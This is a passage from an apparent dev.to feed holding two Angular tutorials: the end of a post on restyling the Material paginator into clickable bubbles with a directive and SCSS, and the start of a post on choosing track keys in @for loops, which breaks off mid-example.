  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;previousPageIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;matPag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pageIndex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="c1"&gt;// switch page index of mat paginator&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;matPag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pageIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="c1"&gt;// change active button styles&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;changeActiveButtonStyles&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;previousPageIndex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;matPag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pageIndex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="c1"&gt;// trigger page event manually, we are changing pageIndex programmatically&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;matPag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;pageIndex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;pageSize&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;matPag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pageSize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;matPag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;previousPageIndex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;previousPageIndex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The key part of is &lt;code&gt;this.matPag.pageIndex = index;&lt;/code&gt;, keeping the paginator’s internal state in sync with witch bubble was clicked. If you were to remove this line, the pagination would stop working. &lt;/p&gt;

&lt;p&gt;Next, since we are programmatically changing the index of the paginator (mentioned above), when you navigate though the items in the table, the &lt;code&gt;this.matPag.page&lt;/code&gt; will not emit by itself, therefore we also need to manually emit this data.&lt;/p&gt;

&lt;h3&gt;
  
  
  Paginator Style Updates
&lt;/h3&gt;

&lt;p&gt;Inside &lt;code&gt;styleDefaultPagination&lt;/code&gt;, you can see we’re directly accessing the paginator’s internal HTML elements to restyle them. Is this ideal? Probably not. Since it relies on exact class selectors like &lt;code&gt;button.mat-mdc-paginator-navigation-next&lt;/code&gt;, it’s fragile. These internal selectors can change between Material versions.&lt;/p&gt;

&lt;p&gt;This already happened when Material v15 introduced the new MDC components, which broke custom styling for many projects using &lt;code&gt;::ng-deep&lt;/code&gt;. What we’re doing here is a similar kind of hack, but for our use case it’s the most practical solution available. Still, it’s worth being aware of the tradeoff.&lt;/p&gt;

&lt;h3&gt;
  
  
  Custom Styles
&lt;/h3&gt;

&lt;p&gt;Once the logic is done, we still need some styling to make it actually look like bubbles. This part is mostly CSS (or SCSS), and you can adjust it to fit your own theme. In my example, each bubble is a simple flex container with centered text, a hover state, and an active state to highlight the current page.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight scss"&gt;&lt;code&gt;&lt;span class="cm"&gt;/* Custom paginator styles */&lt;/span&gt;
&lt;span class="nc"&gt;.g-bubble-container&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;flex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="na"&gt;gap&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;4px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nc"&gt;.g-bubble&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mh"&gt;#f0f0f0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;50%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;34px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;34px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;flex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;align-items&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;center&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;justify-content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;center&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mh"&gt;#2e2e2e&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;font-size&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;14px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;pointer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;transition&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="mi"&gt;.3s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nd"&gt;:hover&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mh"&gt;#636363&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="no"&gt;orange&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nc"&gt;.g-bubble__active&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mh"&gt;#636363&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="no"&gt;orange&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nt"&gt;mat-paginator&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;background&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;transparent&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;important&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="cm"&gt;/* need mat-paginator range to align with other mat-table elements */&lt;/span&gt;
  &lt;span class="nl"&gt;position&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;relative&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="cm"&gt;/* override alignment for the labels that shows "x of y" */&lt;/span&gt;
&lt;span class="nc"&gt;.mat-mdc-paginator-range-label&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;margin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;important&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Things to Keep in Mind
&lt;/h3&gt;

&lt;p&gt;There are a few small details that are good to keep in mind:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Renderer2 limitations - you can’t directly use pseudo-classes (&lt;code&gt;::before&lt;/code&gt;, &lt;code&gt;::after&lt;/code&gt;) from within the directive, keep your visual parts inside SCSS files&lt;/li&gt;
&lt;li&gt;Changing Angular Material internals - as mentioned earlier, &lt;code&gt;mat-mdc-&lt;/code&gt; selectors can change in future Material versions, it’s one of the risks of this directive&lt;/li&gt;
&lt;li&gt;Accessibility (a11y) - since these are custom clickable divs, you might want to add &lt;code&gt;role="button"&lt;/code&gt; and &lt;code&gt;tabindex="0"&lt;/code&gt; attributes so users can navigate the bubbles with a keyboard. You can also listen for &lt;code&gt;keydown&lt;/code&gt; events and simulate click behavior with the space or enter key&lt;/li&gt;
&lt;li&gt;SSR / Hydration - if you’re running Angular SSR, the directive should still work fine, since &lt;code&gt;Renderer2&lt;/code&gt; is SSR safe and we are using &lt;code&gt;afterRenderEffect&lt;/code&gt; to render bubbles only on the client-side&lt;/li&gt;
&lt;li&gt;Active Button State - currently when we load more data into the table and re-execute the logic of rendering bubbles, we go back to the first page, so no active state was implemented yet&lt;/li&gt;
&lt;li&gt;Important input &lt;code&gt;[appBubblePaginationLength]&lt;/code&gt; to bound the table length. Without it, the &lt;code&gt;afterRenderEffect&lt;/code&gt; will not be notified that new data have arrived and buttons will not be rebuilt&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Summary
&lt;/h3&gt;

&lt;p&gt;By the end of this post, you should have a working, MDC compatible paginator. The goal here wasn’t to replace Angular Material, but to show how far you can go using directives + Renderer2, to enhance an existing Material component, without creating your own custom paginator from scratch.&lt;/p&gt;

&lt;p&gt;Of course there may be some room for improvement, it is still a simple directive, so if you have any suggestions, feel free to comment. Hope you liked this example, catch more of my articles on&amp;nbsp;&lt;a href="https://dev.to/krivanek06"&gt;dev.to&lt;/a&gt;, connect with me on&amp;nbsp;&lt;a href="https://www.linkedin.com/in/eduard-krivanek" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;&amp;nbsp;or check my&amp;nbsp;&lt;a href="https://eduardkrivanek.com/" rel="noopener noreferrer"&gt;Personal Website&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>angular</category>
      <category>css</category>
      <category>programming</category>
    </item>
    <item>
      <title>Angular - For Loop Optimizations</title>
      <dc:creator>Eduard Krivanek</dc:creator>
      <pubDate>Thu, 02 Oct 2025 17:58:46 +0000</pubDate>
      <link>https://dev.to/playfulprogramming-angular/angular-ngfor-optimizations-519b</link>
      <guid>https://dev.to/playfulprogramming-angular/angular-ngfor-optimizations-519b</guid>
      <description>&lt;p&gt;In my recent article about &lt;a href="https://www.angularspace.com/senior-angular-interview-questions/" rel="noopener noreferrer"&gt;Senior Angular Interview Questions&lt;/a&gt;, I mentioned a section about optimizing &lt;code&gt;for&lt;/code&gt;loops with the &lt;code&gt;track&lt;/code&gt;method. However, I also pointed out that the choice of value you use for tracking really matters. Even if you add &lt;code&gt;track&lt;/code&gt;, it might not actually make your rendering more performant if used incorrectly. This article expands on that section with additional explanation and examples.&lt;/p&gt;

&lt;p&gt;The&amp;nbsp;&lt;a href="https://angular.dev/api/core/TrackByFunction" rel="noopener noreferrer"&gt;&lt;code&gt;track&lt;/code&gt;&amp;nbsp;function&lt;/a&gt;&amp;nbsp;is a useful performance optimization that was often overlooked with the old&amp;nbsp;&lt;code&gt;*ngFor="let item of items"&lt;/code&gt;&amp;nbsp;syntax. Fortunately, the new&amp;nbsp;&lt;a href="https://angular.dev/tutorials/learn-angular/5-control-flow-for" rel="noopener noreferrer"&gt;control flow&amp;nbsp;&lt;code&gt;@for()&lt;/code&gt;&lt;/a&gt;&amp;nbsp;now requires you to specify a&amp;nbsp;&lt;code&gt;track&lt;/code&gt;&amp;nbsp;function, which encourages better practices.&lt;/p&gt;

&lt;p&gt;So, why is it important? Imagine you have a component that makes an API call to fetch a list of items, list of users, and displays them in the template. You also have a “reload” button to refetch this data (in case something has changed on the backend). Below is an example using the older&amp;nbsp;&lt;code&gt;*ngFor&lt;/code&gt;&amp;nbsp;syntax to illustrate the issue:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-child&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;imports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;NgForOf&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;` 
    &amp;lt;button (click)="onRerun()"&amp;gt;re run&amp;lt;/button&amp;gt;

    &amp;lt;div *ngFor="let item of items()"&amp;gt;
        {{item.name}}
    &amp;lt;/div&amp;gt;
`&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ChildComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;items&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;signal&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;}[]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;([]);&lt;/span&gt;

  &lt;span class="nf"&gt;onRerun&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// "fake api call" to reload data&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;([{&lt;/span&gt;&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;100&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Item 1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="cm"&gt;/* ... */&lt;/span&gt; &lt;span class="p"&gt;]);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this setup, every time&amp;nbsp;&lt;code&gt;onRerun()&lt;/code&gt;&amp;nbsp;is triggered and the array is updated (even with the same content), Angular will re-render all elements in the DOM. That's because it can't tell which items stayed the same and why didn't. It result to performance loss and UI flickering, especially in long or complex lists. To prevent this, you use a&amp;nbsp;&lt;code&gt;trackBy&lt;/code&gt;&amp;nbsp;function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-child&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;imports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;CommonModule&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;` 
    &amp;lt;ng-container *ngFor="let item of items(); trackBy: identify"&amp;gt;
        &amp;lt;!-- previous code --&amp;gt;
    &amp;lt;/ng-container&amp;gt;
`&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ChildComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// ... previous code&lt;/span&gt;

  &lt;span class="nf"&gt;identify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;}):&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This tells Angular how to uniquely identify items in the array, commonly via an&amp;nbsp;&lt;code&gt;id&lt;/code&gt;. With a&amp;nbsp;&lt;code&gt;trackBy&lt;/code&gt;&amp;nbsp;function (or&amp;nbsp;&lt;code&gt;track&lt;/code&gt;&amp;nbsp;key in&amp;nbsp;&lt;code&gt;@for()&lt;/code&gt;), Angular can associate each item with its corresponding DOM element. When the data is reloaded, Angular compares these keys (not full object references), allowing unchanged items to be preserved in the DOM.&lt;/p&gt;

&lt;p&gt;Why does this matter? Because DOM operations are expensive. Without proper tracking, Angular discards and recreates DOM elements for every item, even if the data hasn't changed. With tracking, the DOM elements stay in place, and Angular only updates bindings when necessary.&lt;/p&gt;

&lt;p&gt;On the GIF below, the top list uses&amp;nbsp;&lt;code&gt;trackBy: identify&lt;/code&gt;&amp;nbsp;while the second one does not. You can see the difference. The top list preserves DOM elements during data reload, whereas the second recreates them entirely each time.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffz2cvqryfzo1s2145n76.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffz2cvqryfzo1s2145n76.webp" alt="NgFor Rerendering Whole List" width="800" height="486"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With the new&amp;nbsp;&lt;code&gt;@for()&lt;/code&gt;&amp;nbsp;syntax, Angular enforces the use of a&amp;nbsp;&lt;code&gt;track&lt;/code&gt;&amp;nbsp;key for the same purpose. However, two common mistakes still happen:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Using the object itself as the key - example:&amp;nbsp;&lt;code&gt;@for (item of items(); track item)&lt;/code&gt;. This does not work as expected because the reference to each item changes on every reload, even if the data is identical and it will re-render the UI every time, basically ignoring the&amp;nbsp;&lt;code&gt;track&lt;/code&gt;&amp;nbsp;function.&lt;/li&gt;
&lt;li&gt;Using&amp;nbsp;&lt;code&gt;$index&lt;/code&gt;&amp;nbsp;as the key - example:&amp;nbsp;&lt;code&gt;@for (item of items(); track $index)&lt;/code&gt;. This causes problems when an item is removed. Suppose you delete the 5th item in a list of 10, then every item after index 4 now has a new index, forcing Angular to re-render them all unnecessarily. In stateful components like forms, this leads to loss of input focus or cursor position, however using the&amp;nbsp;&lt;code&gt;$index&lt;/code&gt;&amp;nbsp;is okay for static lists.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here's a comparison: the top row uses&amp;nbsp;&lt;code&gt;track item.id&lt;/code&gt;, and the second uses&amp;nbsp;&lt;code&gt;track $index&lt;/code&gt;. Watch how the first preserves DOM elements during removal. Here is a&amp;nbsp;&lt;a href="https://stackblitz.com/edit/stackblitz-starters-dtbhl8zb?file=src%2Fmain.ts" rel="noopener noreferrer"&gt;stackblitz example to play with&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdzl6h85h8i3yk5b27w3m.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdzl6h85h8i3yk5b27w3m.webp" alt="NgFor Using Index" width="720" height="563"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you’re rendering a static list of rows in a table, or a fixed ordered list that never changes its order or size, tracking by &lt;code&gt;$index&lt;/code&gt; works because the identity of each item will never shift. In these scenarios, you don’t risk losing focus, cursor position, or component state since nothing is being reordered or removed. Use &lt;code&gt;$index&lt;/code&gt; only for completely static, non-interactive lists. For anything dynamic or stateful, always track by a stable identifier like &lt;code&gt;id&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;A great example where proper tracking really matters is an infinite scroll or chat application. Imagine you’re building a chat window. As new messages arrive, they’re pushed into the list, and when you scroll up, older messages are loaded from the server.&lt;/p&gt;

&lt;p&gt;If you don’t use a proper &lt;code&gt;track&lt;/code&gt; key (like &lt;code&gt;message.id&lt;/code&gt;), Angular will re-render the entire list whenever new data is appended. That means the scroll position jumps, the user loses their place, and any ongoing animations are lost.&lt;/p&gt;

&lt;p&gt;Using an unique key for tracking (like ID), Angular reuses the existing DOM nodes for older messages and only creates DOM nodes for the new ones. This preserves scroll position, keeps animations smooth, and makes the whole app feel more stable and responsive. On the following example you see an incorrect usage of for loop, using the &lt;code&gt;$index&lt;/code&gt; for tracking and every time a new message comes, the whole list is re-rendered.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-chat&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;standalone&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`
     @for(msg of messages(); track $index){
         &amp;lt;div&amp;gt;
           { msg.user }}: {{ msg.text }}
         &amp;lt;/div&amp;gt;
     }

    &amp;lt;button (click)="loadOlder()"&amp;gt;Load older&amp;lt;/button&amp;gt;
  `&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ChatComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;messages&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Alice&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Hello&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
